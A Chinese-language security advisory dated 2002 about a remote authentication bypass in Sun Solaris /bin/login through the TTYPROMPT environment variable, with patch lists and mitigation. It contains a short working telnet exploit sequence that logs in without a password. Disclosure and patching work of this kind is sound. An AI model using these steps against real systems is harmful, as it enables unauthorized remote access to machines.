Sun Solaris /bin/login验证可绕过漏洞发布时间:2002-10-08 更新时间:2002-10-08 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:5848 受影响系统 Sun Solaris 2.6 _x86详细描述 Solaris 2.6, 7, 和8中的/bin/login在处理环境变量TTYPROMPT时存在漏洞。 问题应该是存在与login的实现中,使用了固定大小的缓冲区存储环境变量,和环境变量可以从其他程序上接收。攻击者发现一个简单的方法利用这个漏洞,只要早telnet中简单定义环境变量TTYPROMPT为6个字符串,连接对方主机后,使用64个"c"和"\n"字符,可以任意用户不需要密码登录到系统中。 测试代码 coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin 解决方案 在/etc/inetd.conf中关闭telnetd服务。 补丁下载,不过这个补丁是在针对telnetd而不是针对/bin/login,所以使用这个补丁后还存在本地可利用漏洞: Solaris 8: 110668-03 Solaris 8x86: 110669-03 Solaris 7: 107475-04 Solaris 7x86: 107476-04 Solaris 2.6: 106049-04 Solaris 2.6x86: 106050-04 Solaris 2.5.1: 103640-40 Solaris 2.5.1x86: 103641-40 根据报告,下面的补丁可以修正这个漏洞: SPARC Solaris 2.5.1 106160-02 Solaris 2.5.1x86 106161-02 Solaris 2.6 105665-04 Solaris 2.6x86 105666-04 Solaris 7 112300-01 Solaris 7x86 112301-01 Solaris 8 111085-02 Solaris 8x86 111086-02 相关信息 Jonathan Stuart <jons@ccpartnersltd.com>. 参考:http://online.securityfocus.com/archive/1/293844 http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F41987&zone_32=111085-02 |